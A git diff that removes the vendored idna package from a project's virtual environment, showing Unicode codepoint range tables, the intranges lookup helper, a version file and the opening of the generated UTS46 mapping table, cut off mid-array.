0xF9400000F98, - 0xF9900000F9D, - 0xF9E00000FA2, - 0xFA300000FA7, - 0xFA800000FAC, - 0xFAD00000FB9, - 0xFBA00000FBD, - 0xFC600000FC7, - 0x10000000104A, - 0x10500000109E, - 0x10D0000010FB, - 0x10FD00001100, - 0x120000001249, - 0x124A0000124E, - 0x125000001257, - 0x125800001259, - 0x125A0000125E, - 0x126000001289, - 0x128A0000128E, - 0x1290000012B1, - 0x12B2000012B6, - 0x12B8000012BF, - 0x12C0000012C1, - 0x12C2000012C6, - 0x12C8000012D7, - 0x12D800001311, - 0x131200001316, - 0x13180000135B, - 0x135D00001360, - 0x138000001390, - 0x13A0000013F6, - 0x14010000166D, - 0x166F00001680, - 0x16810000169B, - 0x16A0000016EB, - 0x16F1000016F9, - 0x170000001716, - 0x171F00001735, - 0x174000001754, - 0x17600000176D, - 0x176E00001771, - 0x177200001774, - 0x1780000017B4, - 0x17B6000017D4, - 0x17D7000017D8, - 0x17DC000017DE, - 0x17E0000017EA, - 0x18100000181A, - 0x182000001879, - 0x1880000018AB, - 0x18B0000018F6, - 0x19000000191F, - 0x19200000192C, - 0x19300000193C, - 0x19460000196E, - 0x197000001975, - 0x1980000019AC, - 0x19B0000019CA, - 0x19D0000019DA, - 0x1A0000001A1C, - 0x1A2000001A5F, - 0x1A6000001A7D, - 0x1A7F00001A8A, - 0x1A9000001A9A, - 0x1AA700001AA8, - 0x1AB000001ABE, - 0x1ABF00001ADE, - 0x1AE000001AEC, - 0x1B0000001B4D, - 0x1B5000001B5A, - 0x1B6B00001B74, - 0x1B8000001BF4, - 0x1C0000001C38, - 0x1C4000001C4A, - 0x1C4D00001C7E, - 0x1C8A00001C8B, - 0x1CD000001CD3, - 0x1CD400001CFB, - 0x1D0000001D2C, - 0x1D2F00001D30, - 0x1D3B00001D3C, - 0x1D4E00001D4F, - 0x1D6B00001D78, - 0x1D7900001D9B, - 0x1DC000001E00, - 0x1E0100001E02, - 0x1E0300001E04, - 0x1E0500001E06, - 0x1E0700001E08, - 0x1E0900001E0A, - 0x1E0B00001E0C, - 0x1E0D00001E0E, - 0x1E0F00001E10, - 0x1E1100001E12, - 0x1E1300001E14, - 0x1E1500001E16, - 0x1E1700001E18, - 0x1E1900001E1A, - 0x1E1B00001E1C, - 0x1E1D00001E1E, - 0x1E1F00001E20, - 0x1E2100001E22, - 0x1E2300001E24, - 0x1E2500001E26, - 0x1E2700001E28, - 0x1E2900001E2A, - 0x1E2B00001E2C, - 0x1E2D00001E2E, - 0x1E2F00001E30, - 0x1E3100001E32, - 0x1E3300001E34, - 0x1E3500001E36, - 0x1E3700001E38, - 0x1E3900001E3A, - 0x1E3B00001E3C, - 0x1E3D00001E3E, - 0x1E3F00001E40, - 0x1E4100001E42, - 0x1E4300001E44, - 0x1E4500001E46, - 0x1E4700001E48, - 0x1E4900001E4A, - 0x1E4B00001E4C, - 0x1E4D00001E4E, - 0x1E4F00001E50, - 0x1E5100001E52, - 0x1E5300001E54, - 0x1E5500001E56, - 0x1E5700001E58, - 0x1E5900001E5A, - 0x1E5B00001E5C, - 0x1E5D00001E5E, - 0x1E5F00001E60, - 0x1E6100001E62, - 0x1E6300001E64, - 0x1E6500001E66, - 0x1E6700001E68, - 0x1E6900001E6A, - 0x1E6B00001E6C, - 0x1E6D00001E6E, - 0x1E6F00001E70, - 0x1E7100001E72, - 0x1E7300001E74, - 0x1E7500001E76, - 0x1E7700001E78, - 0x1E7900001E7A, - 0x1E7B00001E7C, - 0x1E7D00001E7E, - 0x1E7F00001E80, - 0x1E8100001E82, - 0x1E8300001E84, - 0x1E8500001E86, - 0x1E8700001E88, - 0x1E8900001E8A, - 0x1E8B00001E8C, - 0x1E8D00001E8E, - 0x1E8F00001E90, - 0x1E9100001E92, - 0x1E9300001E94, - 0x1E9500001E9A, - 0x1E9C00001E9E, - 0x1E9F00001EA0, - 0x1EA100001EA2, - 0x1EA300001EA4, - 0x1EA500001EA6, - 0x1EA700001EA8, - 0x1EA900001EAA, - 0x1EAB00001EAC, - 0x1EAD00001EAE, - 0x1EAF00001EB0, - 0x1EB100001EB2, - 0x1EB300001EB4, - 0x1EB500001EB6, - 0x1EB700001EB8, - 0x1EB900001EBA, - 0x1EBB00001EBC, - 0x1EBD00001EBE, - 0x1EBF00001EC0, - 0x1EC100001EC2, - 0x1EC300001EC4, - 0x1EC500001EC6, - 0x1EC700001EC8, - 0x1EC900001ECA, - 0x1ECB00001ECC, - 0x1ECD00001ECE, - 0x1ECF00001ED0, - 0x1ED100001ED2, - 0x1ED300001ED4, - 0x1ED500001ED6, - 0x1ED700001ED8, - 0x1ED900001EDA, - 0x1EDB00001EDC, - 0x1EDD00001EDE, - 0x1EDF00001EE0, - 0x1EE100001EE2, - 0x1EE300001EE4, - 0x1EE500001EE6, - 0x1EE700001EE8, - 0x1EE900001EEA, - 0x1EEB00001EEC, - 0x1EED00001EEE, - 0x1EEF00001EF0, - 0x1EF100001EF2, - 0x1EF300001EF4, - 0x1EF500001EF6, - 0x1EF700001EF8, - 0x1EF900001EFA, - 0x1EFB00001EFC, - 0x1EFD00001EFE, - 0x1EFF00001F08, - 0x1F1000001F16, - 0x1F2000001F28, - 0x1F3000001F38, - 0x1F4000001F46, - 0x1F5000001F58, - 0x1F6000001F68, - 0x1F7000001F71, - 0x1F7200001F73, - 0x1F7400001F75, - 0x1F7600001F77, - 0x1F7800001F79, - 0x1F7A00001F7B, - 0x1F7C00001F7D, - 0x1FB000001FB2, - 0x1FB600001FB7, - 0x1FC600001FC7, - 0x1FD000001FD3, - 0x1FD600001FD8, - 0x1FE000001FE3, - 0x1FE400001FE8, - 0x1FF600001FF7, - 0x214E0000214F, - 0x218400002185, - 0x2C3000002C60, - 0x2C6100002C62, - 0x2C6500002C67, - 0x2C6800002C69, - 0x2C6A00002C6B, - 0x2C6C00002C6D, - 0x2C7100002C72, - 0x2C7300002C75, - 0x2C7600002C7C, - 0x2C8100002C82, - 0x2C8300002C84, - 0x2C8500002C86, - 0x2C8700002C88, - 0x2C8900002C8A, - 0x2C8B00002C8C, - 0x2C8D00002C8E, - 0x2C8F00002C90, - 0x2C9100002C92, - 0x2C9300002C94, - 0x2C9500002C96, - 0x2C9700002C98, - 0x2C9900002C9A, - 0x2C9B00002C9C, - 0x2C9D00002C9E, - 0x2C9F00002CA0, - 0x2CA100002CA2, - 0x2CA300002CA4, - 0x2CA500002CA6, - 0x2CA700002CA8, - 0x2CA900002CAA, - 0x2CAB00002CAC, - 0x2CAD00002CAE, - 0x2CAF00002CB0, - 0x2CB100002CB2, - 0x2CB300002CB4, - 0x2CB500002CB6, - 0x2CB700002CB8, - 0x2CB900002CBA, - 0x2CBB00002CBC, - 0x2CBD00002CBE, - 0x2CBF00002CC0, - 0x2CC100002CC2, - 0x2CC300002CC4, - 0x2CC500002CC6, - 0x2CC700002CC8, - 0x2CC900002CCA, - 0x2CCB00002CCC, - 0x2CCD00002CCE, - 0x2CCF00002CD0, - 0x2CD100002CD2, - 0x2CD300002CD4, - 0x2CD500002CD6, - 0x2CD700002CD8, - 0x2CD900002CDA, - 0x2CDB00002CDC, - 0x2CDD00002CDE, - 0x2CDF00002CE0, - 0x2CE100002CE2, - 0x2CE300002CE5, - 0x2CEC00002CED, - 0x2CEE00002CF2, - 0x2CF300002CF4, - 0x2D0000002D26, - 0x2D2700002D28, - 0x2D2D00002D2E, - 0x2D3000002D68, - 0x2D7F00002D97, - 0x2DA000002DA7, - 0x2DA800002DAF, - 0x2DB000002DB7, - 0x2DB800002DBF, - 0x2DC000002DC7, - 0x2DC800002DCF, - 0x2DD000002DD7, - 0x2DD800002DDF, - 0x2DE000002E00, - 0x2E2F00002E30, - 0x300500003008, - 0x302A0000302E, - 0x303C0000303D, - 0x304100003097, - 0x30990000309B, - 0x309D0000309F, - 0x30A1000030FB, - 0x30FC000030FF, - 0x310500003130, - 0x31A0000031C0, - 0x31F000003200, - 0x340000004DC0, - 0x4E000000A48D, - 0xA4D00000A4FE, - 0xA5000000A60D, - 0xA6100000A62C, - 0xA6410000A642, - 0xA6430000A644, - 0xA6450000A646, - 0xA6470000A648, - 0xA6490000A64A, - 0xA64B0000A64C, - 0xA64D0000A64E, - 0xA64F0000A650, - 0xA6510000A652, - 0xA6530000A654, - 0xA6550000A656, - 0xA6570000A658, - 0xA6590000A65A, - 0xA65B0000A65C, - 0xA65D0000A65E, - 0xA65F0000A660, - 0xA6610000A662, - 0xA6630000A664, - 0xA6650000A666, - 0xA6670000A668, - 0xA6690000A66A, - 0xA66B0000A66C, - 0xA66D0000A670, - 0xA6740000A67E, - 0xA67F0000A680, - 0xA6810000A682, - 0xA6830000A684, - 0xA6850000A686, - 0xA6870000A688, - 0xA6890000A68A, - 0xA68B0000A68C, - 0xA68D0000A68E, - 0xA68F0000A690, - 0xA6910000A692, - 0xA6930000A694, - 0xA6950000A696, - 0xA6970000A698, - 0xA6990000A69A, - 0xA69B0000A69C, - 0xA69E0000A6E6, - 0xA6F00000A6F2, - 0xA7170000A720, - 0xA7230000A724, - 0xA7250000A726, - 0xA7270000A728, - 0xA7290000A72A, - 0xA72B0000A72C, - 0xA72D0000A72E, - 0xA72F0000A732, - 0xA7330000A734, - 0xA7350000A736, - 0xA7370000A738, - 0xA7390000A73A, - 0xA73B0000A73C, - 0xA73D0000A73E, - 0xA73F0000A740, - 0xA7410000A742, - 0xA7430000A744, - 0xA7450000A746, - 0xA7470000A748, - 0xA7490000A74A, - 0xA74B0000A74C, - 0xA74D0000A74E, - 0xA74F0000A750, - 0xA7510000A752, - 0xA7530000A754, - 0xA7550000A756, - 0xA7570000A758, - 0xA7590000A75A, - 0xA75B0000A75C, - 0xA75D0000A75E, - 0xA75F0000A760, - 0xA7610000A762, - 0xA7630000A764, - 0xA7650000A766, - 0xA7670000A768, - 0xA7690000A76A, - 0xA76B0000A76C, - 0xA76D0000A76E, - 0xA76F0000A770, - 0xA7710000A779, - 0xA77A0000A77B, - 0xA77C0000A77D, - 0xA77F0000A780, - 0xA7810000A782, - 0xA7830000A784, - 0xA7850000A786, - 0xA7870000A789, - 0xA78C0000A78D, - 0xA78E0000A790, - 0xA7910000A792, - 0xA7930000A796, - 0xA7970000A798, - 0xA7990000A79A, - 0xA79B0000A79C, - 0xA79D0000A79E, - 0xA79F0000A7A0, - 0xA7A10000A7A2, - 0xA7A30000A7A4, - 0xA7A50000A7A6, - 0xA7A70000A7A8, - 0xA7A90000A7AA, - 0xA7AF0000A7B0, - 0xA7B50000A7B6, - 0xA7B70000A7B8, - 0xA7B90000A7BA, - 0xA7BB0000A7BC, - 0xA7BD0000A7BE, - 0xA7BF0000A7C0, - 0xA7C10000A7C2, - 0xA7C30000A7C4, - 0xA7C80000A7C9, - 0xA7CA0000A7CB, - 0xA7CD0000A7CE, - 0xA7CF0000A7D0, - 0xA7D10000A7D2, - 0xA7D30000A7D4, - 0xA7D50000A7D6, - 0xA7D70000A7D8, - 0xA7D90000A7DA, - 0xA7DB0000A7DC, - 0xA7F60000A7F8, - 0xA7FA0000A828, - 0xA82C0000A82D, - 0xA8400000A874, - 0xA8800000A8C6, - 0xA8D00000A8DA, - 0xA8E00000A8F8, - 0xA8FB0000A8FC, - 0xA8FD0000A92E, - 0xA9300000A954, - 0xA9800000A9C1, - 0xA9CF0000A9DA, - 0xA9E00000A9FF, - 0xAA000000AA37, - 0xAA400000AA4E, - 0xAA500000AA5A, - 0xAA600000AA77, - 0xAA7A0000AAC3, - 0xAADB0000AADE, - 0xAAE00000AAF0, - 0xAAF20000AAF7, - 0xAB010000AB07, - 0xAB090000AB0F, - 0xAB110000AB17, - 0xAB200000AB27, - 0xAB280000AB2F, - 0xAB300000AB5B, - 0xAB600000AB69, - 0xABC00000ABEB, - 0xABEC0000ABEE, - 0xABF00000ABFA, - 0xAC000000D7A4, - 0xFA0E0000FA10, - 0xFA110000FA12, - 0xFA130000FA15, - 0xFA1F0000FA20, - 0xFA210000FA22, - 0xFA230000FA25, - 0xFA270000FA2A, - 0xFB1E0000FB1F, - 0xFE200000FE30, - 0xFE730000FE74, - 0x100000001000C, - 0x1000D00010027, - 0x100280001003B, - 0x1003C0001003E, - 0x1003F0001004E, - 0x100500001005E, - 0x10080000100FB, - 0x101FD000101FE, - 0x102800001029D, - 0x102A0000102D1, - 0x102E0000102E1, - 0x1030000010320, - 0x1032D00010341, - 0x103420001034A, - 0x103500001037B, - 0x103800001039E, - 0x103A0000103C4, - 0x103C8000103D0, - 0x104280001049E, - 0x104A0000104AA, - 0x104D8000104FC, - 0x1050000010528, - 0x1053000010564, - 0x10597000105A2, - 0x105A3000105B2, - 0x105B3000105BA, - 0x105BB000105BD, - 0x105C0000105F4, - 0x1060000010737, - 0x1074000010756, - 0x1076000010768, - 0x1078000010781, - 0x1080000010806, - 0x1080800010809, - 0x1080A00010836, - 0x1083700010839, - 0x1083C0001083D, - 0x1083F00010856, - 0x1086000010877, - 0x108800001089F, - 0x108E0000108F3, - 0x108F4000108F6, - 0x1090000010916, - 0x109200001093A, - 0x109400001095A, - 0x10980000109B8, - 0x109BE000109C0, - 0x10A0000010A04, - 0x10A0500010A07, - 0x10A0C00010A14, - 0x10A1500010A18, - 0x10A1900010A36, - 0x10A3800010A3B, - 0x10A3F00010A40, - 0x10A6000010A7D, - 0x10A8000010A9D, - 0x10AC000010AC8, - 0x10AC900010AE7, - 0x10B0000010B36, - 0x10B4000010B56, - 0x10B6000010B73, - 0x10B8000010B92, - 0x10C0000010C49, - 0x10CC000010CF3, - 0x10D0000010D28, - 0x10D3000010D3A, - 0x10D4000010D50, - 0x10D6900010D6E, - 0x10D6F00010D86, - 0x10E8000010EAA, - 0x10EAB00010EAD, - 0x10EB000010EB2, - 0x10EC200010EC8, - 0x10EFA00010F1D, - 0x10F2700010F28, - 0x10F3000010F51, - 0x10F7000010F86, - 0x10FB000010FC5, - 0x10FE000010FF7, - 0x1100000011047, - 0x1106600011076, - 0x1107F000110BB, - 0x110C2000110C3, - 0x110D0000110E9, - 0x110F0000110FA, - 0x1110000011135, - 0x1113600011140, - 0x1114400011148, - 0x1115000011174, - 0x1117600011177, - 0x11180000111C5, - 0x111C9000111CD, - 0x111CE000111DB, - 0x111DC000111DD, - 0x1120000011212, - 0x1121300011238, - 0x1123E00011242, - 0x1128000011287, - 0x1128800011289, - 0x1128A0001128E, - 0x1128F0001129E, - 0x1129F000112A9, - 0x112B0000112EB, - 0x112F0000112FA, - 0x1130000011304, - 0x113050001130D, - 0x1130F00011311, - 0x1131300011329, - 0x1132A00011331, - 0x1133200011334, - 0x113350001133A, - 0x1133B00011345, - 0x1134700011349, - 0x1134B0001134E, - 0x1135000011351, - 0x1135700011358, - 0x1135D00011364, - 0x113660001136D, - 0x1137000011375, - 0x113800001138A, - 0x1138B0001138C, - 0x1138E0001138F, - 0x11390000113B6, - 0x113B7000113C1, - 0x113C2000113C3, - 0x113C5000113C6, - 0x113C7000113CB, - 0x113CC000113D4, - 0x113E1000113E3, - 0x114000001144B, - 0x114500001145A, - 0x1145E00011462, - 0x11480000114C6, - 0x114C7000114C8, - 0x114D0000114DA, - 0x11580000115B6, - 0x115B8000115C1, - 0x115D8000115DE, - 0x1160000011641, - 0x1164400011645, - 0x116500001165A, - 0x11680000116B9, - 0x116C0000116CA, - 0x116D0000116E4, - 0x117000001171B, - 0x1171D0001172C, - 0x117300001173A, - 0x1174000011747, - 0x118000001183B, - 0x118C0000118EA, - 0x118FF00011907, - 0x119090001190A, - 0x1190C00011914, - 0x1191500011917, - 0x1191800011936, - 0x1193700011939, - 0x1193B00011944, - 0x119500001195A, - 0x119A0000119A8, - 0x119AA000119D8, - 0x119DA000119E2, - 0x119E3000119E5, - 0x11A0000011A3F, - 0x11A4700011A48, - 0x11A5000011A9A, - 0x11A9D00011A9E, - 0x11AB000011AF9, - 0x11B6000011B68, - 0x11BC000011BE1, - 0x11BF000011BFA, - 0x11C0000011C09, - 0x11C0A00011C37, - 0x11C3800011C41, - 0x11C5000011C5A, - 0x11C7200011C90, - 0x11C9200011CA8, - 0x11CA900011CB7, - 0x11D0000011D07, - 0x11D0800011D0A, - 0x11D0B00011D37, - 0x11D3A00011D3B, - 0x11D3C00011D3E, - 0x11D3F00011D48, - 0x11D5000011D5A, - 0x11D6000011D66, - 0x11D6700011D69, - 0x11D6A00011D8F, - 0x11D9000011D92, - 0x11D9300011D99, - 0x11DA000011DAA, - 0x11DB000011DDC, - 0x11DE000011DEA, - 0x11EE000011EF7, - 0x11F0000011F11, - 0x11F1200011F3B, - 0x11F3E00011F43, - 0x11F5000011F5B, - 0x11FB000011FB1, - 0x120000001239A, - 0x1248000012544, - 0x12F9000012FF1, - 0x1300000013430, - 0x1344000013456, - 0x13460000143FB, - 0x1440000014647, - 0x161000001613A, - 0x1680000016A39, - 0x16A4000016A5F, - 0x16A6000016A6A, - 0x16A7000016ABF, - 0x16AC000016ACA, - 0x16AD000016AEE, - 0x16AF000016AF5, - 0x16B0000016B37, - 0x16B4000016B44, - 0x16B5000016B5A, - 0x16B6300016B78, - 0x16B7D00016B90, - 0x16D4000016D6D, - 0x16D7000016D7A, - 0x16E6000016E80, - 0x16EBB00016ED4, - 0x16F0000016F4B, - 0x16F4F00016F88, - 0x16F8F00016FA0, - 0x16FE000016FE2, - 0x16FE300016FE5, - 0x16FF000016FF4, - 0x1700000018CD6, - 0x18CFF00018D1F, - 0x18D8000018DF3, - 0x1AFF00001AFF4, - 0x1AFF50001AFFC, - 0x1AFFD0001AFFF, - 0x1B0000001B123, - 0x1B1320001B133, - 0x1B1500001B153, - 0x1B1550001B156, - 0x1B1640001B168, - 0x1B1700001B2FC, - 0x1BC000001BC6B, - 0x1BC700001BC7D, - 0x1BC800001BC89, - 0x1BC900001BC9A, - 0x1BC9D0001BC9F, - 0x1CF000001CF2E, - 0x1CF300001CF47, - 0x1DA000001DA37, - 0x1DA3B0001DA6D, - 0x1DA750001DA76, - 0x1DA840001DA85, - 0x1DA9B0001DAA0, - 0x1DAA10001DAB0, - 0x1DF000001DF1F, - 0x1DF250001DF2B, - 0x1E0000001E007, - 0x1E0080001E019, - 0x1E01B0001E022, - 0x1E0230001E025, - 0x1E0260001E02B, - 0x1E08F0001E090, - 0x1E1000001E12D, - 0x1E1300001E13E, - 0x1E1400001E14A, - 0x1E14E0001E14F, - 0x1E2900001E2AF, - 0x1E2C00001E2FA, - 0x1E4D00001E4FA, - 0x1E5D00001E5FB, - 0x1E6C00001E6DF, - 0x1E6E00001E6F6, - 0x1E6FE0001E700, - 0x1E7E00001E7E7, - 0x1E7E80001E7EC, - 0x1E7ED0001E7EF, - 0x1E7F00001E7FF, - 0x1E8000001E8C5, - 0x1E8D00001E8D7, - 0x1E9220001E94C, - 0x1E9500001E95A, - 0x200000002A6E0, - 0x2A7000002B81E, - 0x2B8200002CEAE, - 0x2CEB00002EBE1, - 0x2EBF00002EE5E, - 0x300000003134B, - 0x313500003347A, - ), - "CONTEXTJ": (0x200C0000200E,), - "CONTEXTO": ( - 0xB7000000B8, - 0x37500000376, - 0x5F3000005F5, - 0x6600000066A, - 0x6F0000006FA, - 0x30FB000030FC, - ), -} diff --git a/venv/Lib/site-packages/idna/intranges.py b/venv/Lib/site-packages/idna/intranges.py deleted file mode 100644 index 19d77810caf332a1f310bd3b734dab7bbd82f64c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna/intranges.py +++ /dev/null @@ -1,55 +0,0 @@ -""" -Given a list of integers, made up of (hopefully) a small number of long runs -of consecutive integers, compute a representation of the form -((start1, end1), (start2, end2) ...). Then answer the question "was x present -in the original list?" in time O(log(# runs)). -""" - -import bisect - - -def intranges_from_list(list_: list[int]) -> tuple[int, ...]: - """Represent a list of integers as a sequence of ranges: - ((start_0, end_0), (start_1, end_1), ...), such that the original - integers are exactly those x such that start_i <= x < end_i for some i. - - Ranges are encoded as single integers (start << 32 | end), not as tuples. - """ - - sorted_list = sorted(list_) - ranges = [] - last_write = -1 - for i in range(len(sorted_list)): - if i + 1 < len(sorted_list) and sorted_list[i] == sorted_list[i + 1] - 1: - continue - current_range = sorted_list[last_write + 1 : i + 1] - ranges.append(_encode_range(current_range[0], current_range[-1] + 1)) - last_write = i - - return tuple(ranges) - - -def _encode_range(start: int, end: int) -> int: - return (start << 32) | end - - -def _decode_range(r: int) -> tuple[int, int]: - return (r >> 32), (r & ((1 << 32) - 1)) - - -def intranges_contain(int_: int, ranges: tuple[int, ...]) -> bool: - """Determine if `int_` falls into one of the ranges in `ranges`.""" - tuple_ = _encode_range(int_, 0) - pos = bisect.bisect_left(ranges, tuple_) - # we could be immediately ahead of a tuple (start, end) - # with start < int_ <= end - if pos > 0: - left, right = _decode_range(ranges[pos - 1]) - if left <= int_ < right: - return True - # or we could be immediately behind a tuple (int_, end) - if pos < len(ranges): - left, _ = _decode_range(ranges[pos]) - if left == int_: - return True - return False diff --git a/venv/Lib/site-packages/idna/package_data.py b/venv/Lib/site-packages/idna/package_data.py deleted file mode 100644 index 684f1cead96e9b9e0fcb10d540054f3e3747aafb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna/package_data.py +++ /dev/null @@ -1 +0,0 @@ -__version__ = "3.19" diff --git a/venv/Lib/site-packages/idna/py.typed b/venv/Lib/site-packages/idna/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/idna/uts46data.py b/venv/Lib/site-packages/idna/uts46data.py deleted file mode 100644 index d6712f108eb996d174d9adf82677e7de01a6557d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/idna/uts46data.py +++ /dev/null @@ -1,16897 +0,0 @@ -# This file is automatically generated by tools/idna-data - -from __future__ import annotations - -from array import array - -"""IDNA Mapping Table from UTS46.""" - - -__version__ = "17.0.0" - -uts46_starts: array[int] = array( - "I", - ( - 0x0, - 0x1, - 0x2, - 0x3, - 0x4, - 0x5, - 0x6, - 0x7, - 0x8, - 0x9, - 0xA, - 0xB, - 0xC, - 0xD, - 0xE, - 0xF, - 0x10, - 0x11, - 0x12, - 0x13, - 0x14, - 0x15, - 0x16, - 0x17, - 0x18, - 0x19, - 0x1A, - 0x1B, - 0x1C, - 0x1D, - 0x1E, - 0x1F, - 0x20, - 0x21, - 0x22, - 0x23, - 0x24, - 0x25, - 0x26, - 0x27, - 0x28, - 0x29, - 0x2A, - 0x2B, - 0x2C, - 0x2D, - 0x2E, - 0x2F, - 0x30, - 0x31, - 0x32, - 0x33, - 0x34, - 0x35, - 0x36, - 0x37, - 0x38, - 0x39, - 0x3A, - 0x3B, - 0x3C, - 0x3D, - 0x3E, - 0x3F, - 0x40, - 0x41, - 0x42, - 0x43, - 0x44, - 0x45, - 0x46, - 0x47, - 0x48, - 0x49, - 0x4A, - 0x4B, - 0x4C, - 0x4D, - 0x4E, - 0x4F, - 0x50, - 0x51, - 0x52, - 0x53, - 0x54, - 0x55, - 0x56, - 0x57, - 0x58, - 0x59, - 0x5A, - 0x5B, - 0x5C, - 0x5D, - 0x5E, - 0x5F, - 0x60, - 0x61, - 0x62, - 0x63, - 0x64, - 0x65, - 0x66, - 0x67, - 0x68, - 0x69, - 0x6A, - 0x6B, - 0x6C, - 0x6D, - 0x6E, - 0x6F, - 0x70, - 0x71, - 0x72, - 0x73, - 0x74, - 0x75, - 0x76, - 0x77, - 0x78, - 0x79, - 0x7A, - 0x7B, - 0x7C, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x81, - 0x82, - 0x83, - 0x84, - 0x85, - 0x86, - 0x87, - 0x88, - 0x89, - 0x8A, - 0x8B, - 0x8C, - 0x8D, - 0x8E, - 0x8F, - 0x90, - 0x91, - 0x92, - 0x93, - 0x94, - 0x95, - 0x96, - 0x97, - 0x98, - 0x99, - 0x9A, - 0x9B, - 0x9C, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xA3, - 0xA4, - 0xA5, - 0xA6, - 0xA7, - 0xA8, - 0xA9, - 0xAA, - 0xAB, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xB0, - 0xB1, - 0xB2, - 0xB3, - 0xB4, - 0xB5, - 0xB6, - 0xB7, - 0xB8, - 0xB9, - 0xBA, - 0xBB, - 0xBC, - 0xBD, - 0xBE, - 0xBF, - 0xC0, - 0xC1, - 0xC2, - 0xC3, - 0xC4, - 0xC5, - 0xC6, - 0xC7, - 0xC8, - 0xC9, - 0xCA, - 0xCB, - 0xCC, - 0xCD, - 0xCE, - 0xCF, - 0xD0, - 0xD1, - 0xD2, - 0xD3, - 0xD4, - 0xD5, - 0xD6, - 0xD7, - 0xD8, - 0xD9, - 0xDA, - 0xDB, - 0xDC, - 0xDD, - 0xDE, - 0xDF, - 0xE0, - 0xE1, - 0xE2, - 0xE3, - 0xE4, - 0xE5, - 0xE6, - 0xE7, - 0xE8, - 0xE9, - 0xEA, - 0xEB, - 0xEC, - 0xED, - 0xEE, - 0xEF, - 0xF0, - 0xF1, - 0xF2, - 0xF3, - 0xF4, - 0xF5, - 0xF6, - 0xF7, - 0xF8, - 0xF9, - 0xFA, - 0xFB, - 0xFC, - 0xFD, - 0xFE, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x179, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x182, - 0x183, - 0x184, - 0x185, - 0x186, - 0x187, - 0x188, - 0x189, - 0x18A, - 0x18B, - 0x18C, - 0x18E, - 0x18F, - 0x190, - 0x191, - 0x192, - 0x193, - 0x194, - 0x195, - 0x196, - 0x197, - 0x198, - 0x199, - 0x19C, - 0x19D, - 0x19E, - 0x19F, - 0x1A0, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A7, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1AF, - 0x1B0, - 0x1B1, - 0x1B2, - 0x1B3, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B8, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C7, - 0x1CA, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F7, - 0x1F8, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23B, - 0x23C, - 0x23D, - 0x23E, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x244, - 0x245, - 0x246, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x2B0, - 0x2B1, - 0x2B2, - 0x2B3, - 0x2B4, - 0x2B5, - 0x2B6, - 0x2B7, - 0x2B8, - 0x2B9, - 0x2D8, - 0x2D9, - 0x2DA, - 0x2DB, - 0x2DC, - 0x2DD, - 0x2DE, - 0x2E0, - 0x2E1, - 0x2E2, - 0x2E3, - 0x2E4, - 0x2E5, - 0x340, - 0x341, 